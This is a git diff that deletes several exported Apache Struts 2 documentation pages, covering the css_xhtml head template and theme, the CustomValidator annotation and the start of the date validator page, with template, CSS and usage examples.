deleted file mode 100644
index 35875ca..0000000
--- a/content/docs/cssxhtml-head-template.html
+++ /dev/null
@@ -1,225 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>css_xhtml head template</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="cssxhtml-theme.html">css_xhtml theme</a>&nbsp;&gt;&nbsp;<a href="cssxhtml-head-template.html">css_xhtml head temp [...]
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">css_xhtml head template</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14250">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14250">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14250">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14250">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14250">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14250">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The css_xhtml <a shape="rect" href="head.html">head</a> template is very similar to the <a shape="rect" href="xhtml-head-template.html">xhtml head template</a>. The only difference is that CSS that is included is specifically designed to provide the layout for the <a shape="rect" href="cssxhtml-theme.html">css_xhtml theme</a>. The contents of <strong>head.ftl</strong> are:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;#--
-/*
- * $Id$
- *
- * Licensed to the Apache Software Foundation (ASF) under one
- * or more contributor license agreements.  See the NOTICE file
- * distributed with this work for additional information
- * regarding copyright ownership.  The ASF licenses this file
- * to you under the Apache License, Version 2.0 (the
- * &quot;License&quot;); you may not use this file except in compliance
- * with the License.  You may obtain a copy of the License at
- *
- *  http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing,
- * software distributed under the License is distributed on an
- * &quot;AS IS&quot; BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
- * KIND, either express or implied.  See the License for the
- * specific language governing permissions and limitations
- * under the License.
- */
---&gt;
-&lt;link rel=&quot;stylesheet&quot; href=&quot;&lt;@s.url value=&#39;/struts/css_xhtml/styles.css&#39; includeParams=&#39;none&#39; encode=&#39;false&#39; /&gt;&quot; type=&quot;text/css&quot; /&gt;
-&lt;#include &quot;/${parameters.templateDir}/simple/head.ftl&quot; /&gt;
-]]></script>
-</div></div>
-<p>The contents of <strong>styles.css</strong> are:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-/*
- * $Id$
- *
- * Licensed to the Apache Software Foundation (ASF) under one
- * or more contributor license agreements.  See the NOTICE file
- * distributed with this work for additional information
- * regarding copyright ownership.  The ASF licenses this file
- * to you under the Apache License, Version 2.0 (the
- * &quot;License&quot;); you may not use this file except in compliance
- * with the License.  You may obtain a copy of the License at
- *
- *  http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing,
- * software distributed under the License is distributed on an
- * &quot;AS IS&quot; BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
- * KIND, either express or implied.  See the License for the
- * specific language governing permissions and limitations
- * under the License.
- */
-
-.wwFormTable {}
-.label {
-    font-style:italic;
-    float:left;
-    width:30%
-}
-.errorLabel {font-style:italic; color:red; }
-.errorMessage {font-weight:bold; color:red; }
-.checkboxLabel {}
-.checkboxErrorLabel {color:red; }
-.required {color:red;}
-
-.tdTransferSelect {text-align:center; vertical-align:middle;}
-.tdLabelTop {text-align:left; vertical-align:top;}
-.tdCheckboxLabel {text-align:right; vertical-align:top;}
-.tdCheckboxInput {text-align:left; vertical-align:top;}
-.tdCheckboxErrorMessage {text-align:left; vertical-align:top;}
-.tdErrorMessage {text-align:center; vertical-align:top;}
-.formButton {text-align:right;}
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/cssxhtml-theme.html b/content/docs/cssxhtml-theme.html
deleted file mode 100644
index 8c6fd97..0000000
--- a/content/docs/cssxhtml-theme.html
+++ /dev/null
@@ -1,153 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>css_xhtml theme</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="cssxhtml-theme.html">css_xhtml theme</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">css_xhtml theme</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14215">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14215">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14215">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14215">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14215">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14215">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The css_xhtml theme provides all the basics that the <a shape="rect" href="simple-theme.html">simple theme</a> provides and adds several features.</p><ul><li>Standard two-column CSS-based layout, using <code>&lt;div&gt;</code> for the HTML <a shape="rect" href="struts-tags.html">Struts Tags</a> (<a shape="rect" href="form.html">form</a>, <a shape="rect" href="textfield.html">textfield</a>, <a shape="rect" href="select.html">select</a>, etc)</li> [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/customvalidator-annotation.html b/content/docs/customvalidator-annotation.html
deleted file mode 100644
index e86dc66..0000000
--- a/content/docs/customvalidator-annotation.html
+++ /dev/null
@@ -1,184 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>CustomValidator Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="customvalidator-annotation.html">CustomValidator Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">CustomValidator Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13951">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13951">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13951">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13951">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13951">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13951">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This annotation can be used for custom validators. Use the ValidationParameter annotation to supply additional params.</p>
-
-<h2 id="CustomValidatorAnnotation-Usage">Usage</h2>
-
-<p></p><p>The annotation must be applied at method or type level.</p>
-
-<h2 id="CustomValidatorAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">message</td><td colspan="1" rowspan="1" class="confluenceTd">yes</td><td colspan="1" rowspan="1" class="confluenceTd">&#160;</td><td [...]
-
-<h2 id="CustomValidatorAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-@CustomValidator(type =&quot;customValidatorName&quot;, fieldName = &quot;myField&quot;)
-]]></script>
-</div></div>
-
-<h2 id="CustomValidatorAnnotation-AddingParameters">Adding Parameters</h2>
-
-<p>Use the <a shape="rect" href="validationparameter-annotation.html">ValidationParameter annotation</a> to add custom parameter values.</p></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/date-validator.html b/content/docs/date-validator.html
deleted file mode 100644
index ebe813b..0000000
--- a/content/docs/date-validator.html
+++ /dev/null
@@ -1,203 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>date validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="date-validator.html">date validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">date validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14113">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14113">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14113">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14113">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14113">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14113">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="datevalidator-Description">Description</h1>
-
